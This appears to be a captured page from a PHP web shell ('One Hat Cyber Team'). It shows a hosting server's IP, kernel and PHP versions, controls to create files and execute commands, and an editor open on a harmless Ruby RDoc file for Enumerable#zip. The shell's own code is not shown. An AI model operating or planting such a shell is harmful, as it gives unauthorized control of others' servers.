⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.116
Server IP:
78.40.11.138
Server:
Linux tango.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
alt
/
ruby19
/
share
/
ri
/
1.9.1
/
system
/
Enumerable
/
Edit File: zip-i.ri
U:RDoc::AnyMethod[iI"zip:ETI"Enumerable#zip;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [ I"@Takes one element from <i>enum</i> and merges corresponding;TI"Belements from each <i>args</i>. This generates a sequence of;TI"E<em>n</em>-element arrays, where <em>n</em> is one more than the;TI"Fcount of arguments. The length of the resulting sequence will be;TI"F<code>enum#size</code>. If the size of any argument is less than;TI"E<code>enum#size</code>, <code>nil</code> values are supplied. If;TI"Ea block is given, it is invoked for each output array, otherwise;TI"$an array of arrays is returned.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"a = [ 4, 5, 6 ] ;FI"b = [ 7, 8, 9 ] ;FI" ;FI"B[1,2,3].zip(a, b) #=> [[1, 4, 7], [2, 5, 8], [3, 6, 9]] ;FI"7[1,2].zip(a,b) #=> [[1, 4, 7], [2, 5, 8]] ;FI"Ga.zip([1,2],[8]) #=> [[4, 1, 8], [5, 2, nil], [6, nil, nil]];F: @file0I"lenum.zip(arg, ...) -> an_array_of_array enum.zip(arg, ...) {|arr| block } -> nil ;T0[ I"(*args);FI"enum.c;T
Simpan